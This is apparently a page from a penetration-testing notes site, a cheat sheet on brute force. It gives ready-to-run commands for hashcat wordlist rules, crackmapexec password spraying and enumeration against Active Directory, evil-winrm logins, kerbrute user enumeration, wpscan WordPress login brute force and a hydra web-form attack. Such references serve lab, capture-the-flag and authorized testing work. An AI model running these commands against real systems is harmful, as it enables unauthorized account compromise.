> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/exploit/brute-force.md). # Brute Force ## Generate Wordlist Password possibilites: * username * summer, spring, winter * password * date(jully, april, 2023, etc) ### Using Hashcat ```bash hashcat --force --stdout -r /usr/share/hashcat/rules/best64.rule password.lst ``` ## Active Directory ### Check workstations ``` crackmapexec smb 192.168.1.0/24 crackmapexec winrm 192.168.1.0/24 # have a user and password? # go enumerate computers in the domain crackmapexec smb $IP -u -p --computers ``` ### Password spraying check the password policy ``` crackmapexec smb $IP --pass-pol # check this, if there is info like this go ahead for bruteforce. Account Lockout Threshold: None ``` prepare for **targets.txt**, **users.txt** and **passwords.txt** ```bash crackmapexec winrm targets.txt -u users.txt -p passwords.txt --continue-on-success -d crackmapexec smb $IP -u users.txt -p '' crackmapexec winrm $IP -u users.txt -p '' # --> use evil-winrm to login # example: evil-winrm -u mhope -p 'testpassword' -i $IP ``` ## Kerbrute

kerbrute userenum --dc <dc ip> -d <domain> users.txt
kerbrute userenum --dc <dc ip> -d <domain> /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt


# kerbrute with NTLM hash (https://github.com/3gstudent/pyKerbrute)

## Wordpress Login ``` wpscan --url --wordlist /usr/share/wordlists/rockyou.txt --username ``` ## Website Login Brute Force ``` hydra -l '' -P 3digits.txt -f -v 10.10.171.8 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000 ```